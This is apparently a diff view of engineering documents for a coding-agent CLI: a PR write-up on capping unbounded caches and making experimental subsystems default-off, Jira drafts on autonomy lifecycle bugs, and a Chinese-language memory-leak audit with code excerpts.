- None of the unbounded caches grow per-tool-call; they grow per **distinct query** / **distinct cwd** / **distinct skill name** / **distinct gap signal** / **distinct promotion**, which is sub-linear in session length but monotone forever.
- A long-running daemon-style process (KAIROS sessions, multi-day worktrees) would observe the growth.
## 2. Module-level state audit
| File:Line | Symbol | Pre-fix bound | Pre-fix evict |
|---|---|---|---|
| `intentNormalize.ts:52` | `cache: Map<query, keywords>` | none | only `clearIntentNormalizeCache()` for tests |
| `prefetch.ts:17` | `discoveredThisSession: Set<skillName>` | none | none |
| `prefetch.ts:18` | `recordedGapSignals: Set<gapKey>` | none | none |
| `projectContext.ts:48` | `contextCache: Map<cwd, ProjectContext>` | none | only `resetProjectContextCacheForTest()` |
| `promotion.ts:26` | `sessionPromotedIds: Set<instinctId>` | none | only `resetPromotionBookkeeping()` for tests |
| `runtimeObserver.ts:61` | `lastProcessedMessageIds: Set<msgKey>` | **MAX 1000** | FIFO trim ✓ already bounded |
| `toolEventObserver.ts:50` | `emittedTurns: Map<sid, Set<turn>>` | **MAP_MAX 50, SET_MAX 100** | LRU prune via `pruneEmittedTurns()` called inside `markTurn` ✓ already bounded |
| `observerBackend.ts:21` | `registry: Map<name, Backend>` | fixed N | n/a — registry pattern, finite ✓ |
**5 unbounded out of 8 module-level mutables.** All 5 are addressed in this PR.
## 3. Severity rationale
Per-entry cost is small (key strings + small objects), so OOM in days is unlikely on a normal workstation. But the canary scenarios:
- **`intentNormalize.cache`**: every distinct Chinese query → Haiku call → cached. A session that browses a large Chinese codebase or replays many transcripts can hit thousands of distinct queries; ~600 bytes per entry × 10k = ~6 MB. Plus, **every cache miss is a Haiku API call**, so default-enabled means every fresh session pays a request on first non-ASCII query — unintended cost.
- **`projectContext.contextCache`**: each `SkillLearningProjectContext` carries instinct + skill lists. Multi-worktree orchestrators (this very repo!) blow past the typical "1 cwd per session" assumption.
- **`prefetch` Sets**: in chatty sessions thousands of skill discovery names accumulate.
- **`sessionPromotedIds`**: smallest practical risk (single-digit promotions per session normally), but a long-lived sandbox could push it; a defensive cap is cheap.
The fix bounds all 5 with FIFO/LRU eviction at sensible sizes (2001000 entries). No data-corruption risk: degraded behaviour on cap-overflow is benign (re-emit a duplicate signal, re-Haiku a query, re-resolve a cwd context). Same risk profile as the autonomy stale-recovery design.
## 4. Fix surface
| File | Change |
|---|---|
| `src/services/skillSearch/intentNormalize.ts` | `setCachedQueryIntent()` helper, `CACHE_MAX_ENTRIES=200` / `CACHE_TRIM_TO=150`, LRU touch on hit |
| `src/services/skillSearch/prefetch.ts` | `addBoundedSessionEntry()` helper, `SESSION_TRACKING_MAX=1000` / `TRIM_TO=750`; `discoveredThisSession` and `recordedGapSignals` route through it |
| `src/services/skillLearning/projectContext.ts` | `setProjectContextCache()` helper, `PROJECT_CONTEXT_CACHE_MAX=32` / `TRIM_TO=24`, LRU touch on hit |
| `src/services/skillLearning/promotion.ts` | `recordSessionPromoted()` helper, `SESSION_PROMOTED_IDS_MAX=256` / `TRIM_TO=192` |
| `src/services/skillSearch/featureCheck.ts` | Two-layer gate: build flag must be on AND `SKILL_SEARCH_ENABLED=1` env must be set. Defaults to OFF when env is unset, so the slash command remains visible but the runtime hot paths stay dormant until the operator explicitly enables. |
| `src/services/skillLearning/featureCheck.ts` | Same two-layer pattern (build flag + `SKILL_LEARNING_ENABLED=1` or legacy `FEATURE_SKILL_LEARNING=1`). |
| `scripts/defines.ts` | Comment annotated to clarify that the build flags now serve only to compile commands in; runtime activation is operator-driven. |
## 5. Why default-off (without removing from build)?
Three reasons aside from the unbounded-cache concern:
1. **Implicit cost**: `intentNormalize` calls Haiku on cache miss. Default-on means every session that types Chinese pays an API call, even when the operator never asked for skill search.
2. **Disk side effects**: `SKILL_LEARNING` attaches observers that persist observations to `~/.claude` storage. Storage volume should be opt-in, not background.
3. **Experimental status**: the flag is literally named `EXPERIMENTAL_*`. Default-enabling an experimental subsystem contradicts the naming contract.
**The fix is NOT to remove the flags from `DEFAULT_BUILD_FEATURES`** — doing so would also strip the `/skill-search` and `/skill-learning` slash commands from the build, leaving operators with no UI to opt in. Instead the activation logic in `featureCheck.ts` was changed to a two-layer gate:
- **Layer 1 (compile-time)**: `feature('EXPERIMENTAL_SKILL_SEARCH')` / `feature('SKILL_LEARNING')` must be on. These remain in `DEFAULT_BUILD_FEATURES` so the slash commands and observers are compiled in.
- **Layer 2 (runtime)**: `SKILL_SEARCH_ENABLED=1` / `SKILL_LEARNING_ENABLED=1` (or `FEATURE_SKILL_LEARNING=1`) env var must be set. Without this, the subsystems are present but dormant — the slash command exists and toggling it via `/skill-search` or `/skill-learning` flips the env var and activates the hot paths.
Net result: operators see the toggle in the UI but the subsystem is **off until they flip it**.
## 6. Out of scope (filed for follow-up)
- **Test failures on CI** (`prefetch.test.ts > auto-loads high-confidence project skill content`, `skillLearningSmoke.test.ts > ingests corrections, evolves a learned skill, and skill search finds it`) appear in this branch's CI run. Both tests **explicitly enable** the features via env vars, so default-disabling does not cause them. They are pre-existing functional issues in the experimental code paths and warrant their own flow once the bug-classification step is run. Default-disable in this PR avoids exposing operators to unknown failure modes while triage proceeds.
- **Persistence-layer bounds** (observation files, instinct registry): `observationStore.ts` already has 30-day purge and 1MB archive thresholds; `skillGapStore.ts` uses a finite-state lifecycle. Disk-side state is appropriately bounded; the OOM-class issue was strictly in-process state.
## 7. Verification
Local checks (full suite covers cap behaviour via existing tests; the caps degrade gracefully so no test should break):
```bash
bun run typecheck # 0 errors
bun test src/services/skillSearch/__tests__/intentNormalize.test.ts
bun test src/services/skillSearch/__tests__/prefetch.extractQuery.test.ts
bun test src/services/skillLearning/__tests__/projectContext.test.ts
bun test src/services/skillLearning/__tests__/promotion.test.ts
bun run lint
bun run build
```
The new caps are observable behaviour: under sustained load the Map/Set sizes plateau at the configured maxima rather than monotone-growing.

View File

@@ -0,0 +1,314 @@
# Autonomy Reliability Jira Drafts
These tickets are based on the call-chain audit of `/autonomy`, proactive
ticks, HEARTBEAT managed flows, cron scheduling, command queue consumption,
and daemon process supervision.
## AUT-001: Preserve autonomy lifecycle when queued commands are consumed mid-turn
Type: Bug
Priority: P0
Status: Draft
Patch status: Implemented in `fix/autonomy-lifecycle`.
Problem:
`query.ts` can drain queued prompt/task-notification commands as attachments
during an active turn. Autonomy prompts consumed this way were removed from the
in-memory queue without marking the persisted run as running/completed/failed,
so managed flows could stay stuck in `queued` and never advance.
Evidence:
- `src/query.ts` drains queued commands via `getCommandsByMaxPriority()`.
- `src/query.ts` removes consumed commands from the queue.
- Lifecycle updates existed only in the normal queued-submit path
`src/utils/handlePromptSubmit.ts` and headless `src/cli/print.ts`.
Acceptance criteria:
- Mid-turn consumed autonomy commands mark runs `running`.
- Normal query completion finalizes consumed runs and queues next managed-flow
steps.
- Query errors or abort terminal reasons mark consumed runs failed.
- Stale/cancelled autonomy commands are removed from the in-memory queue
without being sent to the model.
- Regression tests cover stale command filtering and managed-flow advancement.
## AUT-002: Make autonomy run lifecycle transitions terminal-safe
Type: Bug
Priority: P0
Status: Draft
Patch status: Implemented in `fix/autonomy-lifecycle`.
Problem:
Run lifecycle helpers rewrote status unconditionally. A stale in-memory command
could mark a cancelled/completed/failed run back to `running`, causing a
cancelled flow to execute or a terminal flow to be rewritten.
Evidence:
- `markAutonomyRunRunning`, `markAutonomyRunCompleted`,
`markAutonomyRunFailed`, and `markAutonomyRunCancelled` updated records
without checking current status.
- External CLI cancel cannot remove queued commands living inside another
process, so stale commands are a realistic input.
Acceptance criteria:
- `queued -> running/completed/failed/cancelled` remains allowed.
- `running -> completed/failed/cancelled` remains allowed.
- Any terminal status rejects later lifecycle updates.
- Rejected transitions do not update managed-flow step state.
- Regression tests cover stale lifecycle calls after cancellation.
## AUT-003: Prevent proactive and scheduled-task async fire failures from becoming invisible
Type: Bug
Priority: P1
Status: Draft
Patch status: Implemented in `fix/autonomy-lifecycle`.
Problem:
Proactive tick and cron fire callbacks launch detached async work. Failures in
prompt preparation or queue insertion could surface as unhandled rejections or
be lost from diagnostics. In one-shot cron paths, the scheduler has already
decided the task fired.
Evidence:
- `src/proactive/useProactive.ts` used a detached async IIFE without catch.
- `src/cli/print.ts` proactive and cron paths also detached async work.
- `src/hooks/useScheduledTasks.ts` cron callbacks detached async work.
Acceptance criteria:
- Detached proactive/cron fire work has explicit error logging.
- REPL proactive tick generation is non-reentrant.
- Tick generation stops queueing after hook unmount.
## AUT-004: Bound long-running daemon restart timers during shutdown
Type: Bug
Priority: P1
Status: Draft
Patch status: Implemented in `fix/autonomy-lifecycle`.
Problem:
The daemon supervisor scheduled worker restarts with `setTimeout()` but did
not store, clear, or `unref()` the timer. Shutdown during backoff could keep
the supervisor alive until the timer fired, forcing the stop path toward
SIGKILL.
Evidence:
- `src/daemon/main.ts` scheduled restart timers directly in the worker exit
handler.
- Shutdown only signaled child processes and did not clear restart timers.
Acceptance criteria:
- Worker restart timers are tracked per worker.
- Shutdown clears any pending restart timers.
- Restart and force-kill grace timers do not keep the supervisor alive alone.
## AUT-005: Release autonomy persistence lock bookkeeping after each chain
Type: Bug
Priority: P1
Status: Draft
Patch status: Implemented in `fix/autonomy-lifecycle`.
Problem:
`withAutonomyPersistenceLock` stored a chained promise in its map but compared
the map value against the raw current promise during cleanup. That condition
never matched, so root-level lock bookkeeping could accumulate in long-lived
processes that touch many workspaces.
Evidence:
- `src/utils/autonomyPersistence.ts` stored `previous.then(() => current)`.
- Cleanup compared `persistenceLocks.get(key) === current`.
Acceptance criteria:
- The stored chained promise is the value used for cleanup comparison.
- Existing serialization behavior for same-root calls remains unchanged.
- Tests directly assert same-root lock bookkeeping returns to zero after both
success and failure.
## AUT-006: Add active-record protection before persistence truncation
Type: Reliability
Priority: P2
Status: Draft
Patch status: Implemented in `fix/autonomy-lifecycle`.
Problem:
Autonomy runs and flows are capped by latest-created/updated order only.
Under high churn, active `queued` or `running` records can be truncated before
completion, which removes recovery evidence and can break managed-flow
advancement.
Evidence:
- `src/utils/autonomyRuns.ts` keeps the latest 200 runs by `createdAt`.
- `src/utils/autonomyFlows.ts` keeps the latest 100 flows by `updatedAt`.
Acceptance criteria:
- Active records are retained before completed historical records are trimmed.
- Tests cover trimming with more than the configured cap and active records
near the tail.
## AUT-007: Treat provider API-error responses as failed autonomy turns
Type: Bug
Priority: P0
Status: Draft
Patch status: Implemented in `fix/autonomy-lifecycle`.
Problem:
Third-party provider adapters can convert provider failures into synthetic
assistant API-error messages instead of throwing. `query.ts` treated
`isApiErrorMessage` terminal responses as `completed`, so an autonomy command
that had already been consumed as a queued attachment could be marked
completed and advance its managed flow even though the provider call failed.
Evidence:
- `src/services/api/openai/index.ts`, `src/services/api/gemini/index.ts`, and
`src/services/api/grok/index.ts` yield `createAssistantAPIErrorMessage()` on
adapter errors.
- `src/query.ts` skipped stop hooks for API-error assistant messages but
returned `reason: 'completed'`.
- Top-level autonomy finalization used terminal completion to decide whether
to mark consumed runs completed or failed.
Acceptance criteria:
- Provider API-error assistant messages terminate the query with
`reason: 'model_error'`.
- Any consumed autonomy run is marked failed rather than completed.
- Managed flows do not advance to the next step after provider API errors.
- A regression test simulates provider error after a queued autonomy attachment
has been consumed.
## AUT-008: Finalize consumed autonomy runs on async-generator close
Type: Bug
Priority: P0
Status: Draft
Patch status: Implemented in `fix/autonomy-lifecycle`.
Problem:
`query()` is an async generator. When its consumer calls `.return()` or breaks
out of iteration, JavaScript executes `finally` blocks and skips code after the
`try/finally`. The previous autonomy finalization ran after the `finally`, so
queued autonomy commands that had already been claimed as `running` could stay
persisted as `running` forever if the REPL/SDK consumer closed the generator.
Evidence:
- Claimed run IDs were collected during queued attachment injection.
- Completion/failure finalization happened only after `yield* queryLoop(...)`
returned normally or threw.
- Claude cross-validation flagged this as a durable run/flow leak.
Acceptance criteria:
- Consumed autonomy runs are finalized from a `finally` path.
- Normal completion marks consumed runs completed and enqueues next managed
flow steps.
- Provider/model errors mark consumed runs failed.
- Generator close and user abort terminals mark consumed runs cancelled.
- A regression test closes the generator after a queued autonomy attachment and
verifies the run/flow are cancelled, not left running.
## AUT-009: Claim queued autonomy runs before attachment injection
Type: Bug
Priority: P0
Status: Draft
Patch status: Implemented in `fix/autonomy-lifecycle`.
Problem:
The query loop filtered stale queued autonomy commands before attachment
generation, but it did not claim runs as `running` until after attachments were
already yielded. A concurrent cancellation between those steps could still send
a cancelled prompt into the model context.
Evidence:
- `partitionConsumableQueuedAutonomyCommands()` only checked persisted status.
- `markAutonomyRunRunning()` previously ran after `getAttachmentMessages()`.
- Reviewer cross-validation identified the check-then-act race.
Acceptance criteria:
- Query claims queued autonomy runs before passing commands to attachment
generation.
- Only successfully claimed commands are injected as queued-command
attachments.
- Failed claims are treated as stale and removed from the in-memory queue.
- Claiming reads persisted run state once per turn rather than once per
command.
## AUT-010: Cancel proactive and cron runs dropped before enqueue
Type: Bug
Priority: P1
Status: Draft
Patch status: Implemented in `fix/autonomy-lifecycle`.
Problem:
`/proactive` and scheduled-task producers persist autonomy runs before
returning queue commands. If the component is disposed or headless input closes
after persistence but before enqueue, the queued run is left on disk with no
in-memory command to consume it.
Evidence:
- `createProactiveAutonomyCommands()` commits runs before returning commands.
- `commitAutonomyQueuedPrompt()` persists scheduled-task runs before callers
enqueue them.
- Callers checked `disposed` / `inputClosed` after command creation and could
return without terminalizing the run.
Acceptance criteria:
- Proactive hook cancellation checks run both before commit and after command
creation.
- Headless proactive and cron paths cancel any already-created command that is
dropped due to input close.
- REPL scheduled-task cleanup cancels already-created commands when unmounted.
- A regression test verifies a proactive command created but dropped before
enqueue is marked cancelled.
## AUT-011: Replace query transition `any` stubs with typed contracts
Type: Test/Type Safety
Priority: P2
Status: Draft
Patch status: Implemented in `fix/autonomy-lifecycle`.
Problem:
`src/query/transitions.ts` defined both `Terminal` and `Continue` as `any`.
That allowed new terminal reasons such as `model_error` and continuation
reasons such as `collapse_drain_retry` to drift without compiler checks.
Evidence:
- Claude cross-validation flagged the `Terminal = any` contract as a remaining
issue.
- Tightening the type immediately caught that
`collapse_drain_retry.committed` is a `number`, not a `boolean`.
Acceptance criteria:
- `Terminal` is a concrete union of query terminal reasons.
- `Continue` is a concrete union of continuation reasons and payloads.
- `bun run typecheck` validates all query return sites against that contract.
## AUT-012: Avoid provider test settings-module mock pollution
Type: Test Reliability
Priority: P2
Status: Draft
Patch status: Implemented in `fix/autonomy-lifecycle`.
Problem:
The provider tests previously mocked `settings.js`. A minimal mock broke other
tests that imported additional settings exports in the same Bun process; the
expanded mock avoided the failure but over-coupled the provider test to
unrelated settings internals.
Evidence:
- Full test runs observed cross-file settings mock pollution.
- `src/utils/model/providers.ts` only needs the real `getInitialSettings()`
behavior.
Acceptance criteria:
- Provider tests do not mock `settings.js`.
- `modelType` precedence is exercised through an injected settings snapshot,
leaving global bootstrap state untouched.
- Provider tests pass when run alongside permissions tests and the provider
matrix.

659
docs/memory-leak-audit.md Normal file
View File

@@ -0,0 +1,659 @@
# 内存泄漏排查报告
> 基于官方 CHANGELOG 记录的 11 个已修复内存泄漏 + 1 个代码注释中的已知问题,对反编译代码库进行逐文件验证。
> 审计日期2026-04-28
## TODO
- [x] #1 图片处理无限内存增长 — 确认已实现 ✅
- [x] #2 /usage 命令泄漏约 2GB — 确认已实现 ✅
- [x] #3 长时间运行工具进度事件泄漏 — 确认已实现 ✅
- [x] #4 空闲重新渲染循环 — **已确认完整**:所有 10 个 useAnimationFrame 调用者均正确传递 null 暂停时钟keepAlive 机制工作正常
- [x] #5 虚拟滚动器保留历史消息拷贝 — 确认已实现 ✅
- [x] #6 管道模式超宽行过度分配 — 确认已实现 ✅
- [x] #7 语言语法按需加载 — **已修复**:改用 highlight.js/lib/core + 静态注册 26 个常用语言,从 190+ 语言降至 ~25内存减少 ~80%
- [x] #8 NO_FLICKER 模式流状态泄漏 — **已修复**StreamingToolExecutor.discard() 现在完整释放 tools 数组、中止 siblingAbortController、清理 turnSpan7 tests
- [x] #9 Remote Control 权限条目保留 — **已修复**pendingPermissionHandlers 提升至 useEffect 作用域cleanup 时显式 clear()8 tests
- [x] #10 MCP HTTP/SSE 缓冲区累积 — 确认已实现 ✅
- [x] #11 LRU 缓存键保留大 JSON — **已确认完整实现**FileStateCache 使用 LRU 双重限制max 100 条目 + maxSize 25MB+ sizeCalculation22 tests
- [x] #12 QueryEngine.mutableMessages 不收缩 — **已修复**:实现 snipCompactIfNeeded按 removedUuids 过滤)+ snipProjection边界检测 + 视图投影28 tests
- [x] #18 Permission Polling Interval 泄漏 — **已修复**inProcessRunner 权限响应后未调用 cleanup(),导致 setInterval 永远运行 + abort listener 挂载6 tests
- [x] #17 LSP Opened Files Map 不收缩 — **已修复**LSPServerManager 添加 closeAllFiles() 方法postCompactCleanup 集成调用compaction 后释放 openedFiles Map5 tests
## 总览
---
## 1. 图片处理无限内存增长 (v2.1.121)
**CHANGELOG 描述**Fixed unbounded memory growth (multi-GB RSS) when processing many images in a session
### 实现位置
- `src/utils/imageStore.ts` — 核心修复
- `src/commands/clear/caches.ts` — 缓存清理
- `src/screens/REPL.tsx` — UI 层释放
### 修复方式
三层防护机制:
1. **LRU 内存缓存**`storedImagePaths` Map 上限 200 条目(`MAX_STORED_IMAGE_PATHS`),超出自动驱逐最早条目
2. **磁盘持久化**:图片 base64 数据写入 `~/.claude/image-cache/<sessionId>/`,内存中仅保留路径字符串
3. **立即释放**`setPastedContents({})` 在消息提交/命令执行后清空 React state 中的 base64 数据
### 关键代码
```typescript
// imageStore.ts:10
const MAX_STORED_IMAGE_PATHS = 200
// imageStore.ts:115-124
function evictOldestIfAtCap(): void {
while (storedImagePaths.size >= MAX_STORED_IMAGE_PATHS) {
const oldest = storedImagePaths.keys().next().value
if (oldest !== undefined) {
storedImagePaths.delete(oldest)
} else {
break
}
}
}
// imageStore.ts:129-167 — 清理旧会话目录
export async function cleanupOldImageCaches(): Promise<void> { ... }
```
---
## 2. /usage 命令泄漏约 2GB (v2.1.121)
**CHANGELOG 描述**Fixed /usage leaking up to ~2GB of memory on machines with large transcript histories
### 实现位置
- `src/utils/sessionStoragePortable.ts:716-792` — 核心流式读取
- `src/utils/attribution.ts` — 调用方
### 修复方式
1. **分块流式读取**:使用 `TRANSCRIPT_READ_CHUNK_SIZE = 1MB` 固定块大小,通过 `fd.read()` 逐块处理,避免一次性加载整个 transcript
2. **字节级过滤**:在 fd 层面直接跳过 `attribution-snapshot` 类型的行(占长会话 84% 的字节空间)
3. **边界截断**:搜索 `compact_boundary` 标记,只保留边界之后的数据
4. **缓冲区控制**:初始缓冲区限制 `Math.min(fileSize, 8MB)`
### 关键代码
```typescript
// sessionStoragePortable.ts:716-792
export async function readTranscriptForLoad(
filePath: string,
fileSize: number,
): Promise<{
boundaryStartOffset: number
postBoundaryBuf: Buffer
hasPreservedSegment: boolean
}> {
const s: LoadState = {
out: {
buf: Buffer.allocUnsafe(Math.min(fileSize, 8 * 1024 * 1024)),
len: 0,
cap: fileSize + 1,
},
// ...
}
const chunk = Buffer.allocUnsafe(CHUNK_SIZE)
const fd = await fsOpen(filePath, 'r')
try {
let filePos = 0
while (filePos < fileSize) {
const { bytesRead } = await fd.read(chunk, 0, Math.min(CHUNK_SIZE, fileSize - filePos), filePos)
if (bytesRead === 0) break
filePos += bytesRead
// ... 分块处理逻辑
}
finalizeOutput(s)
} finally {
await fd.close()
}
}
```
---
## 3. 长时间运行工具进度事件泄漏 (v2.1.121)
**CHANGELOG 描述**Fixed memory leak when long-running tools fail to emit a clear progress event
### 实现位置
- `src/screens/REPL.tsx:3054-3114` — progress 消息替换逻辑
- `src/utils/sessionStorage.ts:186-196` — 临时消息类型定义
### 修复方式
1. **向后扫描替换**:从只检查最后一条消息改为向后遍历所有 progress 消息,找到匹配的 `parentToolUseID` + `type` 后替换(修复交错消息导致 13k+ 条目堆积)
2. **全屏模式硬上限**`MAX_FULLSCREEN_SCROLLBACK = 500`,超出截断
3. **临时消息识别**`isEphemeralToolProgress()` 区分 `bash_progress``sleep_progress` 等一次性消息与需要保留的 `agent_progress`
### 关键代码
```typescript
// REPL.tsx:3094-3114
setMessages(oldMessages => {
const newData = newMessage.data as Record<string, unknown>;
// Scan backwards to find the last ephemeral progress with matching
// parentToolUseID and type.
for (let i = oldMessages.length - 1; i >= 0; i--) {
const m = oldMessages[i]!
if (m.type !== 'progress') break
const mData = m.data as Record<string, unknown> | undefined
if (
m.parentToolUseID === newMessage.parentToolUseID &&
mData?.type === newData.type
) {
const copy = oldMessages.slice();
copy[i] = newMessage;
return copy;
}
}
return [...oldMessages, newMessage];
});
// REPL.tsx:3058-3064 — 全屏模式硬上限
const MAX_FULLSCREEN_SCROLLBACK = 500
const kept = postBoundary.length > MAX_FULLSCREEN_SCROLLBACK
? postBoundary.slice(-MAX_FULLSCREEN_SCROLLBACK)
: postBoundary
return [...kept, newMessage]
```
---
## 4. 空闲重新渲染循环 (v2.1.117)
**状态:已确认完整**
**CHANGELOG 描述**Fixed idle re-render loop when background tasks are present, reducing memory growth on Linux
### 实现位置
- `packages/@ant/ink/src/components/ClockContext.tsx` — 核心时钟管理
### 已实现部分
`ClockContext``keepAlive` 订阅者分类机制完整存在:
```typescript
// ClockContext.tsx:11-43
function createClock(tickIntervalMs: number): Clock {
const subscribers = new Map<() => void, boolean>()
let interval: ReturnType<typeof setInterval> | null = null
function updateInterval(): void {
const anyKeepAlive = [...subscribers.values()].some(Boolean)
if (anyKeepAlive) {
// 有 keepAlive 订阅者时启动 interval
interval = setInterval(tick, currentTickIntervalMs)
} else if (interval) {
// 无 keepAlive 订阅者时停止 interval
clearInterval(interval)
interval = null
}
}
return {
subscribe(onChange, keepAlive) {
subscribers.set(onChange, keepAlive)
updateInterval()
return () => {
subscribers.delete(onChange)
updateInterval()
}
},
// ...
}
}
```
### 不确定部分
无法确认 `useAnimationFrame` hook 是否在所有使用时钟的组件中正确传递了 `keepAlive` 参数。反编译代码中调用链可能不完整。
---
## 5. 虚拟滚动器保留历史消息拷贝 (v2.1.101)
**CHANGELOG 描述**Fixed a memory leak where long sessions retained dozens of historical copies of the message list in the virtual scroller
### 实现位置
- `src/components/VirtualMessageList.tsx:276-296`
### 修复方式
增量式键值数组:使用 `useRef` 保存 keys 数组引用,流式追加而非每次 O(n) 全量重建。
```typescript
// VirtualMessageList.tsx:276-296
const keysRef = useRef<string[]>([])
const prevMessagesRef = useRef<typeof messages>(messages)
const prevItemKeyRef = useRef(itemKey)
if (
prevItemKeyRef.current !== itemKey ||
messages.length < keysRef.current.length ||
messages[0] !== prevMessagesRef.current[0]
) {
// 全量重建(仅在 itemKey 变化、数组缩短等场景)
keysRef.current = messages.map(m => itemKey(m))
} else {
// 增量追加(正常流式场景)
for (let i = keysRef.current.length; i < messages.length; i++) {
keysRef.current.push(itemKey(messages[i]!))
}
}
prevMessagesRef.current = messages
prevItemKeyRef.current = itemKey
const keys = keysRef.current
```
修复前 27k 消息时每次新消息添加产生 ~1MB 内存分配,修复后降为 O(1) 追加。
---
## 6. 管道模式超宽行过度分配 (v2.1.110)
**CHANGELOG 描述**Fixed potential excessive memory allocation when piped (non-TTY) Ink output contains a single very wide line
### 实现位置
- `packages/@ant/ink/src/core/output.ts:200-207`
### 修复方式
`Output.reset()` 中当字符缓存超过 16384 条目时清空:
```typescript
// output.ts:200-207
reset(width: number, height: number, screen: Screen): void {
this.width = width
this.height = height
this.screen = screen
this.operations.length = 0
resetScreen(screen, width, height)
if (this.charCache.size > 16384) this.charCache.clear() // 关键修复
}
```
---
## 7. 语言语法按需加载 (v2.1.108)
**状态:已修复**
**CHANGELOG 描述**Reduced memory footprint for file reads, edits, and syntax highlighting by loading language grammars on demand
### 实现位置
- `packages/color-diff-napi/src/index.ts:21-37`
### 当前状态
延迟加载逻辑**已被移除**,改为顶层静态导入。代码注释说明原因:
```typescript
// color-diff-napi/src/index.ts:21-37
// Static import — createRequire(import.meta.url) fails in Bun --compile mode
// because the resolved path points to the internal bunfs binary path where
// node_modules cannot be found. A top-level import ensures the module is
// bundled and accessible at runtime.
import hljs from 'highlight.js' // 顶层静态导入
type HLJSApi = typeof hljs
let cachedHljs: HLJSApi | null = null
function hljsApi(): HLJSApi {
if (cachedHljs) return cachedHljs
const mod = hljs as HLJSApi & { default?: HLJSApi }
cachedHljs = 'default' in mod && mod.default ? mod.default : mod
return cachedHljs!
}
```
**影响**highlight.js 包含 190+ 语言语法(约 50MB现在在模块加载时即全部载入内存无法按需释放。这是为了兼容 Bun `--compile` 模式做的妥协。
---
## 8. NO_FLICKER 模式流状态泄漏 (v2.1.105)
**状态:已修复**
**CHANGELOG 描述**Fixed a NO_FLICKER mode memory leak where API retries left stale streaming state
### 实现位置
- `src/screens/REPL.tsx:1841-1861``resetLoadingState()`
- `src/screens/REPL.tsx:3568-3578` — finally 块调用
### 已实现部分
`resetLoadingState()``onQuery` 的 finally 块中无条件调用,清理 `streamingText``streamingToolUses` 等:
```typescript
// REPL.tsx:1841-1861
const resetLoadingState = useCallback(() => {
setStreamingText(null);
setStreamingToolUses([]);
setSpinnerMessage(null);
// ...
}, [pickNewSpinnerTip]);
// REPL.tsx:3568-3578 — finally 块
} finally {
if (queryGuard.end(thisGeneration)) {
resetLoadingState(); // 无条件清理
}
}
```
### 不确定部分
无法确认 `query.ts``StreamingToolExecutor.discard()` 的逻辑是否完整实现了旧工具结果的释放。
---
## 9. Remote Control 权限条目保留 (v2.1.98)
**状态:已修复**
**CHANGELOG 描述**Fixed a memory leak where Remote Control permission handler entries were retained for the lifetime of the session
### 实现位置
- `src/hooks/useReplBridge.tsx:466-491` — 处理 + 删除
- `src/hooks/useReplBridge.tsx:712-717` — 注册 + 清理函数
### 已实现部分
```typescript
// useReplBridge.tsx:466-491
const pendingPermissionHandlers = new Map<string, (response: ...) => void>()
function handlePermissionResponse(msg: SDKControlResponse): void {
const requestId = msg.response?.request_id
if (!requestId) return
const handler = pendingPermissionHandlers.get(requestId)
if (!handler) return
const parsed = parseBridgePermissionResponse(msg)
if (!parsed) return
pendingPermissionHandlers.delete(requestId) // 处理后删除
handler(parsed)
}
// useReplBridge.tsx:712-717
onResponse(requestId, handler) {
pendingPermissionHandlers.set(requestId, handler)
return () => {
pendingPermissionHandlers.delete(requestId) // 取消时删除
}
}
```
### 不确定部分
hook 的 cleanup 函数(组件卸载时的 `replBridgePermissionCallbacks = undefined`)是否完整调用。
---
## 10. MCP HTTP/SSE 缓冲区累积 (v2.1.97)
**CHANGELOG 描述**Fixed MCP HTTP/SSE connections accumulating ~50 MB/hr of unreleased buffers when servers reconnect
### 实现位置
- `src/services/api/claude.ts:1557-1564``releaseStreamResources()`
- `src/cli/transports/SSETransport.ts:419``reader.releaseLock()`
- `@modelcontextprotocol/sdk` (sse.js, streamableHttp.js) — `response.body?.cancel()`
### 修复方式
1. **主动释放响应体**`releaseStreamResources()` 清理 stream 和 response
```typescript
// claude.ts:1553-1564
// Release all stream resources to prevent native memory leaks.
// The Response object holds native TLS/socket buffers that live outside the
// V8 heap (observed on the Node.js/npm path; see GH #32920), so we must
// explicitly cancel and release it regardless of how the generator exits.
function releaseStreamResources(): void {
cleanupStream(stream)
stream = undefined
if (streamResponse) {
streamResponse.body?.cancel().catch(() => {})
streamResponse = undefined
}
}
```
2. **SSE 读取器释放**
```typescript
// SSETransport.ts:418-419
} finally {
reader.releaseLock()
}
```
3. **MCP SDK 层面**:在所有 HTTP 路径(成功/失败/重连)调用 `response.body?.cancel()`
---
## 11. LRU 缓存键保留大 JSON (v2.1.89)
**状态:已确认完整实现**
**CHANGELOG 描述**Fixed memory leak where large JSON inputs were retained as LRU cache keys in long-running sessions
### 实现位置
- `src/utils/fileStateCache.ts:37-48` — 大小计算修复
- `src/utils/queryHelpers.ts:48-54` — 类型强制转换
### 修复方式
1. **正确计算缓存大小**:处理 `content` 为嵌套对象的情况
```typescript
// fileStateCache.ts:37-48
sizeCalculation: value => {
const c = value.content
const s =
typeof c === 'string'
? c
: c === null || c === undefined
? ''
: typeof c === 'object'
? JSON.stringify(c)
: String(c)
return Math.max(1, Buffer.byteLength(s, 'utf8'))
}
```
2. **强制类型转换**:确保 Write 工具 content 始终为字符串
```typescript
// queryHelpers.ts:48-54
function coerceToolContentToString(value: unknown): string {
if (typeof value === 'string') return value
if (value === null || value === undefined) return ''
if (typeof value === 'object') return JSON.stringify(value)
return String(value)
}
```
---
## 12. QueryEngine.mutableMessages 不收缩
**状态:已修复**
**代码注释描述**`markers persist and re-trigger on every turn, and mutableMessages never shrinks (memory leak in long SDK sessions)``src/QueryEngine.ts:929-930`
### 实现位置
- `src/services/compact/snipCompact.ts`**存根文件**
- `src/QueryEngine.ts:925-962` — 消息处理逻辑
### 问题详情
`mutableMessages` 数组只增不减,每轮对话 push 多条消息assistant、progress、user、attachment 等)。清理依赖两条路径:
**路径 1API 返回 compact_boundary**(已实现)
```typescript
// QueryEngine.ts:946-962
if (msg.subtype === 'compact_boundary' && msg.compactMetadata) {
const mutableBoundaryIdx = this.mutableMessages.length - 1
if (mutableBoundaryIdx > 0) {
this.mutableMessages.splice(0, mutableBoundaryIdx) // 清理旧消息
}
}
```
**路径 2本地 snip 压缩**(存根 — 永不执行)
```typescript
// snipCompact.ts — 完整文件
// Auto-generated stub — replace with real implementation
export {};
import type { Message } from 'src/types/message';
export const isSnipMarkerMessage: (message: Message) => boolean = () => false;
export const snipCompactIfNeeded: (
messages: Message[],
options?: { force?: boolean },
) => { messages: Message[]; executed: boolean; tokensFreed: number; boundaryMessage?: Message } = (messages) => ({
messages,
executed: false, // 永远 false — 清理从不执行
tokensFreed: 0,
});
export const isSnipRuntimeEnabled: () => boolean = () => false;
